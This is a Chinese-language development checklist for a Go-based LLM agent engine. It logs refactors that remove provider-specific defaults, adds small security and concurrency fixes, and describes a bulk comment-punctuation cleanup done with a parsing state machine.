[x] G9-C:Provider + Model 必填(删除 Config.APIKey/BaseURL/BearerAuth,New() 校验) - [x] G9-C:subagent.go 删除 legacy api.Client 路径(-60 行) - [x] G9-C:DefaultRoles 清空(引擎不预设角色映射) - [x] G9-C:testutil_test.go 新增 noopProvider + testConfig() 辅助函数 #### G10 系列:Prompt/Context/Config 层解耦 - [x] G10 P0:compact.go 删除 generateSummary HTTP 直连(-190 行)+ DefaultCompactModel + CompactHTTPClient + AnthropicAPIVersion - [x] G10 P0:EstimateCost 未知模型返回 0(不再 fallback 到 claude-sonnet-4-6 定价) - [x] G10 P0:ModelForRole 统一 fallback 到 Config.Model - [x] G10:DefaultModels 清空(模型定价由框架层运行时获取,引擎不硬编码) #### G11 系列:Permission/Query/Wire 层 - [x] G11 P0:Usage CacheTokens 抽象(CacheReadInputTokens/CacheCreationInputTokens → CacheTokens{Read, Written}) - [x] G11 P0 误报:classifier_ai.go import flyto 是合理的(flyto 是公共契约包非 Anthropic 封装) #### G12 系列:工具类包 - [x] G12 P0:ThinkingSignature → ProviderMetadata map[string]string(公共类型去 Anthropic 泄漏) - [x] G12 P1:tokenizer.go ModelPricing 清空(又一份重复的 Anthropic 定价表) - [x] G12 P1:flyto/ 注释清理(~16 处 Anthropic 引用改为通用描述) #### G8 P2 补充修复 - [x] providers/shared/mask.go:GoString APIKey 脱敏提取为共享函数(5 个 provider 统一引用) - [x] norm_error_content_strip.go:消除不可达 else 分支 - [x] normalizer.go:sorted 标记按需排序,Run 热路径零 copy+sort 开销 - [x] memory.go:fileStore 加 sync.RWMutex(Save/Delete 写锁,List/FindRelevant 读锁,UpdateIndex TOCTOU 修复) #### Phase 2 架构清理(2026-04-09) - [x] A: `internal/api` 重命名为 `internal/transport`(通用 SSE 流式 HTTP 客户端定位) - [x] B: `api.Client` 去 Anthropic 默认值(所有配置通过 ClientOption 注入:WithMessagePath/WithAPIVersion/WithRetryPolicy/WithClassifier) - [x] C: `ModelConfig` / `flyto.ModelInfo` 统一(`config.ModelConfig = flyto.ModelInfo` 类型别名,消除类型分裂) - [x] D: `checker.go` fallback 移除(PermissionClass 动态注册表,工具通过 Metadata.PermissionClass 声明,无硬编码 fallback) - [x] E1: `input.go:328` - resolvePath 目录边界校验(P2 安全) - [x] E2: `skill_loader.go:306` - LoadSkillFile 路径穿越校验(P2 安全) - [x] E3: `fileread.go:858` - HEIC/TIFF 预检大小限制(P2 安全) - [x] DNS 测试修复(14 个测试:预热/幂等/失败静默/共享池/DNS缓存/TTL过期) ## 代码风格 / Lint - [x] ⚪ ~~**P3+ 存量中文标点修复**~~: **2026-04-14 完成** (commit 2457cc5, 534 文件, 53972 次替换) - 全仓库 Go 注释 + Markdown 文档的中文全角标点 (`,。!?:;()【】""''——…、`) 批量替换为英文半角 (`, . ! ? : ; ( ) [ ] " ' - ...`). 规则已在 `feedback_punctuation.md` 记忆里落地, **新增代码/文档今后直接用英文标点**, 本条仅针对**存量**修复. - 正确做法: 写一个 `core/tools/punct-fix/main.go` 工具, 用 `go/parser` parse Go 文件只改 comment 节点 (不动 `BasicLit` 字符串字面量), 用 Markdown 状态机跳过 code fence 和 inline code. 禁止用 grep/sed 裸替换 (会破坏字符串字面量内容). 禁止委托 MiniMax (同字符多语境是它的弱区, handoff §4.7). - 规模估算: ~20 个 provider/engine 相关 .go 文件注释 + ~30 个 .md 文档 + CLAUDE.md 等. 工具跑一遍 ~10 秒, review + commit ~30 分钟. - 优先级: 非常低. 新代码从 2026-04-11 起已遵守新规则, 存量修复纯属整洁性改进, 不阻塞任何功能. - 自举 marker: 这一项本身就用英文标点写, 作为新规则生效日期 (2026-04-11) 的时间 marker. 存量扫描工具跑起来后可以跳过这一段 (它已经合规). - **2026-04-14 实际执行**: 工具语言产品经理决策选 Python (一次性临时, 用完丢弃, 不引入 Go 工具链), 主线程 flag 了三个顾虑 (零外部依赖原则 / TODO 原文指定 go/parser / string literal 误改风险), 用严格 state machine (Go 六状态: CODE/LINE_CMT/BLK_CMT/STR/RAW_STR/RUNE, Markdown 跳过 code fence + inline code) 兑现正确性. 规模远超原估算 (~20 .go + ~30 .md → 实际 430 .go + 104 .md), 工具脚本 /tmp/punct_fix.py 本次 commit 后丢弃. - **2026-04-14 正确性双重验证**: (1) 理论: 脚本 state machine 对 engine.go 去注释后与早期方案逐字节相同 78567 bytes (2) 实证: go build ./core/... 534 文件改完后编译通过零错误. 这是数学级 + 工程级双重保证, 证明没有字符串字面量被误改. - **2026-04-14 PUNCT_MAP 踩坑留痕**: 第一版用中文全角字面量写 dict, Write 工具归一化了 fullwidth ASCII-equivalents (U+FF0C → U+002C), 导致 `,?:;()""''` 8 个映射 dead (只有无 ASCII 等价物的 `!。【】——…、` 幸存, 第一版 dry-run 只捞到 24139 次替换). 修复: 全部用 `\uXXXX` escape, 第二版 dry-run 捞到 53972 次 (翻倍). 这个坑对应 feedback_rtk_usage 的 "工具链归一化陷阱", 应登记到 feedback_todo_audit_first 的 "检查方法本身可能错" 子规则.